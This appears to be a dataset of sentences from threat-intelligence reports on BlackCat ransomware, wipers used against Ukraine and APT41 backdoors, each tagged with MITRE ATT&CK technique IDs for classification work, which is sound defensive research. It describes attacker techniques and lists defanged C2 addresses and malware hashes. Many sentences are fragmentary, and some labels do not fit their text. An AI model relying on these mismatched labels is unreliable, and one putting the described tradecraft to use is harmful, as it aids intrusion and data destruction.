"doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Tactic;Technique;Description TA0001 Initial Access;T1190 Exploit Public-Facing Application;In a number of attacks, the threat actors used ProxyShell vulnerablilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207). ;T1133 External Remote Services;As an initial attack vector, insecure RDP and VPNs may be used. ;T1078 Valid Accounts;BlackCat affiliates may purchase access to their victim’s network infrastructure on underground forums.", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "TA0002 Execution;T1106 Native API;BlackCat ransomware uses Native API. ;", "labels": ["T1106"], "doc_title": "Fat Cats"}
{"sentence": "T1053 Scheduled Task/Job;When deploying ransomware in the victim’s network infrastructure, BlackCat affiliates may exploit group policies, which results in a scheduled task being created (on each host) that launches the ransomware. ;T1059.001 Command and Scripting Interpreter:", "labels": ["T1053.005"], "doc_title": "Fat Cats"}
{"sentence": "PowerShell;The attackers may use PowerShell scripts when deploying ransomware in the victim’s network, disabling security tools, and encrypting files. ;T1059.003", "labels": ["T1562.001"], "doc_title": "Fat Cats"}
{"sentence": ";T1047 Windows Management", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "They may also use the wmiexec module from Impacket to execute commands and move across the network. ;T1569.002 System Services: Service Execution;The BlackCat ranswomare for Windows can self-propagate in the local area network using the legitimate PsExec utility (contained in its body), which creates a temporary system service.", "labels": ["T1047", "T1569.002"], "doc_title": "Fat Cats"}
{"sentence": "TA0003 Persistence;T1505 Server Software Component;Successfully exploiting ProxyShell vulnerabilities enabled the attackers to place a web shell on a vulnerable Microsoft Exchange server. ;T1078 Valid Accounts;Legitimate accounts obtained by the attackers can be used to ensure persistence in the compromised infrastructure.", "labels": ["T1078"], "doc_title": "Fat Cats"}
{"sentence": "TA0004 Privilege Escalation;T1078 Valid Accounts;To escalate privileges, BlackCat may use stolen legitimate accounts specified in the configuration data. ;T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control;To bypass UAC, BlackCat ransomware may escalate privileges using the ICMLuaUtil COM interface, as well as use the Masquerade PEB method. ;T1134.002 Access Token Manipulation: Create Process with Token;To escalate privileges, the BlackCat ransomware can launch its process using stolen authentication data and the function CreateProcessWithLogonW. TA0005 Defense Evasion;T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control;The attackers may bypass UAC using the ICMLuaUtil COM interface, as well as use the Masquerade PEB method. ;T1140 Deobfuscate/Decode Files or Information;BlackCat decrypts configuration data as well as decrypts and unpacks the legitimate PsExec utility and an additional BAT file contained in the body of the ransomware. ;T1027 Obfuscated Files or Information;BlackCat ransomware uses obfuscation.", "labels": ["T1027", "T1059.003", "T1078", "T1106", "T1140", "T1548.002"], "doc_title": "Fat Cats"}
{"sentence": ";T1562.001 Impair Defenses: Disable or Modify Tools;To prevent being detected, the attackers end processes and services related to security and antivirus software. ;T1497 Virtualization/Sandbox Evasion;To counter analysis (including in a sandbox), ALPHV MORPH checks the value of the command line parameter access-token.", "labels": ["T1562.001"], "doc_title": "Fat Cats"}
{"sentence": ";T1552 Unsecured Credentials;To obtain authentication data from the registry and files, the attackers may use NirSoft utilities.", "labels": ["T1552.001"], "doc_title": "Fat Cats"}
{"sentence": "TA0007 Discovery;T1018", "labels": [], "doc_title": "Fat Cats"}
{"sentence": ";T1087.002 Account Discovery: Domain Account; ;T1482 Domain Trust Discovery;To obtain information about domain trust, the attackers used the ADRecon tool. ;T1046 Network Service Scanning;To scan the target network, the attackers use the open-source utility SoftPerfect Network Scanner. ;T1135 Network Share Discovery;To search for network shares, the attackers use the open-source utility SoftPerfect Network Scanner. ;T1016 System Network Configuration Discovery;For network reconnaissance, the attackers use the open-source utility SoftPerfect Network Scanner. ;T1082 System Information Discovery;BlackCat uses wmic to obtain the UUID of the compromised host.", "labels": ["T1047", "T1082"], "doc_title": "Fat Cats"}
{"sentence": ";T1057 Process Discovery;BlackMatter enumerates all running processes to search for ones relating to security, backups, databases, email systems, office programs, etc. ;T1007 System Service Discovery;BlackCat enumerates system services to search for ones relating to security, backups, and databases. ;T1083 File and Directory Discovery;The attackers enumerate drives, directories, and files to search for sensitive information for exfiltration purposes.", "labels": ["T1005", "T1057", "T1083", "T1518.001"], "doc_title": "Fat Cats"}
{"sentence": "TA0008 Lateral Movement;T1021.001 Remote Services:", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "Remote Desktop Protocol;The attackers may use RDP to move across the network. ;T1021.002 Remote Services: SMB/Windows Admin Shares;After obtaining privileged authentication data, in order to spread over the local area network and access network resources, the attackers may use the PsExec utility, as well as the psexec, wmiexec and smbexec modules from Impacket. ;T1021.004 Remote Services: SSH;To access parts of the infrastructure running on Linux, the attackers use the PuTTY utility. ;T1570 Lateral Tool Transfer;Moving across the victim’s network and deploying ransomware involves copying related tools to the host.", "labels": ["T1021.001", "T1570"], "doc_title": "Fat Cats"}
{"sentence": "The BlackCat ransomware can self-propagate in the network by using the legitimate PsExec utility contained in its body.", "labels": ["T1570"], "doc_title": "Fat Cats"}
{"sentence": "Data from Network Shared Drive;The attackers collect information from available network resources for exfiltration purposes. ;T1074 Data Staged;Before exfiltration, the attackers may put collected data in 7Zip archives. ;T1119 Automated collection;The attackers use ExMatter, a tool for automated collection of sensitive information.", "labels": ["T1074.001"], "doc_title": "Fat Cats"}
{"sentence": "TA0011 Command and Control;T1071 Application Layer Protocol;Remote access tools used by the attackers may use application layer protocols (HTTP, HTTPS, DNS). ;T1105", "labels": ["T1071.001"], "doc_title": "Fat Cats"}
{"sentence": "T1572", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "Remote Access Software;To remotely access the compromised infrastructure, the attackers may use the legitimate tools TeamViewer and ScreenConnect.", "labels": ["T1219"], "doc_title": "Fat Cats"}
{"sentence": "TA0010 Exfiltration;T1041 Exfiltration", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "Over C2 Channel;When the attackers use Cobalt Strike, the collected information may be sent via Cobalt Strike server communication channels. ;T1048.002 Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol;The attackers may use the ExMatter exfiltration tool, which sends stolen data to SFTP and WebDav resources specified in the ExMatter configuration. ;T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage;The attackers use the Rclone synchronization utility to upload stolen data to the legitimate cloud storage service MEGA. ;T1020 Automated Exfiltration;After access has been gained, files from target hosts are automatically uploaded to the legitimate cloud storage service MEGA using the Rclone utility.", "labels": ["T1041"], "doc_title": "Fat Cats"}
{"sentence": ";T1030 Data Transfer Size Limits;To prevent exceeding the size limits of the data being sent and triggering security controls, the stolen data may be sent in fixed-size blocks.", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "TA0040 Impact;T1486Data", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "Encrypted for Impact ;BlackCat encrypts the contents of files in the local system as well as on available network resources. ;T1489 Service Stop;BlackCat stops security, backup, database, email and other services specified in the configuration. ;T1490 Inhibit System Recovery;BlackCat deletes Windows Volume Shadow Copies using vssadmin and wmic, disables recovery in the Windows boot menu using bccedit, and empties Recycle Bin.", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "Executive summary 2022 has experienced an increase in the number of wiper variants targeting Ukrainian entities.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "This blog post looks to explain how wipers work, what makes them so effective and provides a short overview of the most recent samples that appeared in the eastern Europe geopolitical conflict.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "How does wiper malware work?", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "This process usually involves writing to disk several Gigabytes (or Terabytes) of data and can be time consuming.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "For this reason, in addition to destroying the data, many wipers first destroy two special files in the system: The Master Boot Record (MBR), which is used during the boot process to identify where the Operative System is stored in the disk.", "labels": ["T1082"], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "By replacing the MBR, the boot process crashes, making the files inaccessible unless forensic methodologies are used.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The Master File Table (MFT) is exclusive to NTFS file systems, contains the physical location of files in the drive as well as logical and physical size and any associated metadata.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "If big files need to be stored in the drive, and cannot use consecutive blocks, these files will have to be fragmented in the disk.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The MFT holds the information of where each fragment is stored.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Removing the MFT will require the use of forensic tools to recover small files, and basically prevents recovery of fragmented files since the link between fragments is lost.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The main difference between wipers and ransomware is that it’s impossible to retrieve the impacted information after a wiper attack.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Attackers using wipers do not usually target financial reward but intend to disrupt the victim’s operations as much as possible.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "However, even some wiper attacks carry ransom notes requesting a payment to recover the data.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "It is important that the victim properly identifies the attack they've suffered, or they may pay the ransom without any chance of retrieving the lost data.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "In the last month and a half, since the war started in Eastern Europe, several wipers have been used in parallel with DDoS attacks (T1499) to keep financial institutions and government organizations, mainly Ukrainian, inaccessible for extended periods of time.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Some of the wipers observed in this timeframe have been: WhisperKill, HermeticWiper, IsaacWiper, CaddyWiper, DoubleZero Wiper and AcidRain.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Most recent wiper examples WhisperKill On January 14, 2022, the Ukrainian government experienced a coordinated attack on 22 of their government agencies, defacing their websites.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Therefore, the attack vector was most probably a supply chain attack on the IT provider, or an exploitation of an OctoberCMS vulnerability, combined with exploitations of Log4Shell vulnerability (T1190).", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Example of defaced Ukrainian government website.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "In addition to the website defacement, Microsoft Threat Intelligence Center (MSTIC), identified in a report destructive malware samples targeting Ukrainian organizations with two malware samples.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The identified files were: Stage1 replaces the Master Boot Record (MBR) with a ransom note when the system is powered down, deeming the machine unbootable after that point.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "When booted up, the system displays Figure 2 on screen.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Despite the ransom request, the data will not be recoverable since all efforts made by WhisperKill are looking to destroy data, not encrypt it.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "In this case, the wallet is most probably an attempt to decoy attribution efforts.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Ransom note obtained by MSTIC.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Stage 2 attempts to download the next stage malware (T1102.003) from the Discord app, if unsuccessful, it sleeps and tries again.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Finally, the malware executes a command to delete itself from the system (T1070.004).", "labels": ["T1070.004"], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "HermeticWiper A month after, on February 23rd 2022, ESET Research reported a new Wiper being used against hundreds of Ukrainian systems.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The wiper receives its name from the stolen certificate (T1588.003) it was using to bypass security controls “Hermetica Digital Ltd” (T1588.003).", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "According to a Reuters article, the certificate could have also been obtained by impersonating the company and requesting a certificate from scratch.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Hermetica Digital Ltd certificate.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The wiper component first installs the payload as a service (T1569.002) under C:\\Windows\\system32\\Drivers\\. Afterwards, the service corrupts the first 512 bytes of the MBR of all the Physical Drives, and then enumerates their partitions.", "labels": ["T1083", "T1543.003"], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The combination of the file fragmentation and the deletion of the MFT makes file recovery difficult, since files will be scattered through the drive in small parts - without any guidance as to where each part is located.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Finally, the malware writes randomized contents into all occupied sectors in the partition in an attempt to remove all potential hope of recovering any data with forensic tools or procedures.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "IsaacWiper A day after the initial destructive attack with HermeticWiper, on February 24th, 2022, a new wiper was used against the Ukrainian government, as reported by ESET, without any significant similarities to the HermaticWiper used the day before.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "IsaacWiper identifies all the physical drives not containing the Operative System and locks their logical partitions by only allowing a single thread to access each of them.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Then it starts to write random data into the drives in chunks of 64 KB.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Once the rest of the physical drives and the logical partitions sharing physical drive with the Operative System’s volume have been wiped, this last volume is wiped by: Erasing the MBR.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Creating a new file under the C drive which will be filled with random data until it takes the maximum space it can from the partition, overwriting the already overwritten existing files.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "This process is performed with a different thread, but it would still take a long time to write the full partition since both concurrent threads are actually attempting to write random data on the full disk. Figure 4.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "IsaacWiper strings.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "When comparing IsaacWiper to WhisperKill, the attackers’ priorities become clear.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "WhisperKill creators prioritized speed and number of affected files over ensuring the full drive is overwritten, since only 1 MB of each file was overwritten.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "AcidRain On the same day IsaacWiper was deployed, another wiper attacked Viasat KA-SAT modems in Ukraine, this time with a different wiper, named AcidRain by SentinelLABS.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "It was used in 2018, targeting vulnerabilities in several common router brands:", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Linksys, MikroTik, NETGEAR, and TP-Link.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The wiper used was the ELF MIPS wiper targeting Viasat KA-SAT modems, which aimed to firstly overwrite any file outside of the any common *nix installation: bin, boot, dev, lib, proc, sbin, sys, sur, etc. to then delete data from /dev/. CaddyWiper The first version of CaddyWiper was discovered by ESET researchers on 2022-03-14 when it was used against a Ukrainian bank.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "This sample specifically sets an exclusion to avoid infecting Domain Controllers in the infected system.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Afterwards, it targets C:/Users and any additional attached drive all the way to letter Z:/ and zeroes all the files present in such folders/drives.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Finally, the extended information of the physical drives is destroyed, including the MBR and partition entries.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "A variant of CaddyWiper was used again on 2022-04-08 14:58 against high-voltage electrical substations in Ukraine.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "This latest version of the wiper was delivered together with Industroyer2, an evolution of Industroyer, which has the main functionn being to communicate with industrial equipment.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "In this case, the wiper was used with the purpose of slowing down the recovery process from the Industroyer2 attack and gaining back control of the ICS consoles, as well as covering the tracks of the attack.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "According to Welivesecurity, who have been cooperating with CERT-UA in this investigation, the Sandworm Team is behind this latest attack.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "In this same attack against the energy station in Ukraine, other wiper samples for Linux and Solaris were observed by WeliveSecurity.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The wiper’s routine sets a hardcoded list of system directories, which are skipped during an initial wiping targeting user files.", "labels": ["T1083"], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Afterwards, the skipped system directories are targeted and finally the registry hives: HKEY_LOCAL_MACHINE (containing the hives Sam, Security, Software and System), HKEY_CURRENT_USER and HKEY_USERS.", "labels": ["T1083"], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "DoubleZero first wiping function.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Conclusion As we have seen in the examples above, the main objective of the attackers behind wipers is to destroy all possible data and render systems unbootable (if possible), potentially requiring a full system restore if backups aren’t available.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "These malware attacks can be as disruptive as ransomware attacks, but wipers are arguably worse since there is no potential escape door of a payment to recover the data.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "There are plenty of ways to wipe systems.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "For that reason, it is not effective to employ detection of wiper malware, as once they are in the system as it is already too late.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The best approach against wipers is to prevent attacks by keeping systems up to date and by increasing cybersecurity awareness.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Associated indicators (IOCs)", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The following technical indicators are associated with the reported intelligence.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "A list of indicators is also available in the following OTX Pulses: WhisperKill HermeticWiper and IsaacWiper AcidRain CaddyWiper DoubleZero Please note, the pulses may include other activities related but out of the scope of the report.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "TYPE INDICATOR DESCRIPTION SHA256 a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92 WhisperKill (stage1.exe) SHA256 dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78 WhisperKill (stage2.exe) SHA256 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da HermeticWiper SHA256 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 HermeticWiper SHA256 13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033 IsaacWiper SHA256 9b4dfaca873961174ba935fddaf696145afe7bbf5734509f95feb54f3584fd9a AcidRain SHA256 47f521bd6be19f823bfd3a72d851d6f3440a6c4cc3d940190bdc9b6dd53a83d6 AcidRain SHA256 Fc0e6f2effbfa287217b8930ab55b7a77bb86dbd923c0e8150551627138c9caa CaddyWiper SHA256 7062403bccacc7c0b84d27987b204777f6078319c3f4caa361581825c1a94e87 Industroyer2 SHA256 3b2e708eaa4744c76a633391cf2c983f4a098b46436525619e5ea44e105355fe DoubleZero SHA256 30b3cbe8817ed75d8221059e4be35d5624bd6b5dc921d4991a7adc4c3eb5de4a DoubleZero Mapped to MITRE ATT&CK The findings of this report are mapped to the following MITRE ATT&CK Matrix techniques: TA0001: Initial Access T1190: Exploit Public-Facing Application TA0002", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": ": Execution T1047: Windows Management Instrumentation T1569: System Services T1569.002:", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Remote Services T1021.002: SMB/Windows Admin Shares TA0005: Defense Evasion T1070: Indicator Removal on Host T1070.004:", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Group Policy Modification TA0011: Command and Control T1102: Web Service T1102.003: One-Way Communication TA0040: Impact T1485: Data Destruction T1499: Endpoint Denial of Service TA0042: Resource Development T1588: Obtain Capabilities T1588.003: Code Signing Certificates", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Higaisa or Winnti?", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "During such monitoring in May 2020, we detected several samples of new malware that at first glance would seem to belong to the Higaisa group.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "But detailed analysis pointed to the Winnti group (also known as APT41, per FireEye) of Chinese origin.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Subsequent monitoring led us to discover a number of new malware samples used by the group in recent attacks.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "These include various droppers, loaders, and injectors; Crosswalk, ShadowPad, and PlugX backdoors; and samples of a previously undescribed backdoor that we have dubbed FunnySwitch.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "We can confidently state that some of these attacks were directed at a number of organizations in Russia and Hong Kong.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "In this article, we will share the results of our investigation of these samples and related network infrastructure, as well as overlaps with previously described attacks.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Contents Higaisa shortcuts Attribution Crosswalk Loaders and injectors Injectors Local shellcode loaders Attack examples An encrypted resume I can't breathe Chat transcript Attacks on Russian game developers Unity3D Game Developer from St. Petersburg HFS with a surprise A purloined certificate FunnySwitch Unpacking Funny.dll Transport protocols Network-level protocol Application-level protocol Supported commands Unused code FunnySwitch vs. Crosswalk ShadowPad PlugX Paranoid PlugX Conclusion PT products detection names PT Sandbox PT Network Attack Discovery Applications Known names of files from which PL shellcode may be loaded IOCs MITRE 1.", "labels": ["T1027", "T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Higaisa shortcuts The first attack dates to May 12, 2020.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "At the core of the attack is an archive named Project link and New copyright policy.rar (75cd8d24030a3160b1f49f1b46257f9d6639433214a10564d432b74cc8c4d020).", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The archive contains a bait PDF document (Zeplin Copyright Policy.pdf) plus the folder All tort's projects - Web lnks with two shortcuts: Conversations - iOS - Swipe Icons - Zeplin.lnk Tokbox icon - Odds and Ends - iOS - Zeplin.lnk The structure of malicious shortcuts resembles the sample 20200308-sitrep-48-covid-19.pdf.lnk spread by the Higaisa group in March 2020.", "labels": ["T1027", "T1036.005"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Comparing command lines in the covid-19 and Zeplin shortcutsThe mechanism for initial infection is fundamentally the same: trying to open either of the shortcuts leads to running a command that extracts a Base64-encoded CAB archive from the body of the LNK file, after which the archive is unpacked to a temporary folder.", "labels": ["T1140", "T1204.002"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Further actions are performed with the help of an extracted JS script.", "labels": ["T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Contents of script 34fDFkfSD32.jsBut here is where the similarity with the sample described in our Higaisa report ends: instead, this script copies the payload to the folder C:\\Users\\Public\\Downloads, achieves persistence by adding itself to the startup folder and adding a scheduler task, and runs the payload.", "labels": ["T1036.005", "T1053.005", "T1547.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The command run by the shortcut also contains the opening of a URL file extracted from the archive.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "This is the only difference between the two LNK files.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "In both cases, the target page is hosted on Zeplin, a legitimate service for collaboration between designers and developers, and requires logging in to view.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The payload consists of two files: svchast.exe It functions as a simple local shellcode loader.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The shellcode read from a fixed path.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Before starting, the loader checks the current year: 2018, 2019, 2020, or 2021. Figure 3.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Main function in svchast.exe 3t54dE3r.tmp The shellcode containing the main payload is the Crosswalk backdoor.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "On May 30, 2020, a new malicious archive, CV_Colliers.rar (df999d24bde96decdbb65287ca0986db98f73b4ed477e18c3ef100064bceba6d), was detected.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "It had two shortcuts: Curriculum Vitae_WANG LEI_Hong Kong Polytechnic University.pdf.lnk International English Language Testing System certificate.pdf.lnk Their structure fully matched that of the samples from May 12.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Depending on which shortcut was opened, the output of ipconfig was sent to one of two addresses: http://goodhk.azurewebsites[.]net/inter.php or http://sixindent.epizy[.]com/inter.php.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Note that all three intermediate C2 servers are on third-level domains on a free hosting service.", "labels": ["T1090"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "When accessed in a browser, each displays a different decoy page: Figure 4.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Page at goodhk.azurewebsites_netFigure 6.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "It may be that the malware authors used this to monitor the success of the initial stages of infection, or else tried to lead security teams \"off the scent\" by masking the malware as a more minor threat.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Based on the similarity of the infection chains, researchers classify them as belonging to the Higaisa group.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "However, detailed analysis of the shellcode demonstrates that the samples actually belong to the Crosswalk malware family.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "From the FireEye reportFigure 8.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Fragment of shellcode from 3t54dE3r.tmpThe network infrastructure of the samples overlaps with previously known APT41 infrastructure: at the IP address of one of the C2 servers, we find an SSL certificate with SHA-1 value of b8cff709950cfa86665363d9553532db9922265c, which is also found at IP address 67.229.97[.]229, referenced in a 2018 CrowdStrike report.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Going further, we can find domains from a Kaspersky report written in 2013.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Fragment of network infrastructureAll this leads us to conclude that these LNK file attacks were performed by Winnti (APT41), which \"borrowed\" this shortcut technique from Higaisa.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "1.2 Crosswalk Crosswalk is a modular backdoor implemented in shellcode.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The information collected by the module includes: OS uptime Network adapter IP addresses MAC address of one of the adapters Operating system version and whether it is 32-bit or 64-bit Username Computer name Name of running module PID Shellcode version and whether it is 32-bit or 64-bit (The shellcode supports both 32 and 64 bits.)", "labels": ["T1016", "T1033", "T1082"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "For more detailed analysis of one version of Crosswalk, see the VMware CarbonBlack investigation.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Based on version 1.25 (8e6945ae06dd849b9db0c2983bca82de1dddbf79afb371aa88da71c19c44c996), which was used in the attacks with LNK files, here we will describe the networking aspects of the malware in more detail.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Crosswalk has broad capabilities for connecting to C2 servers.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
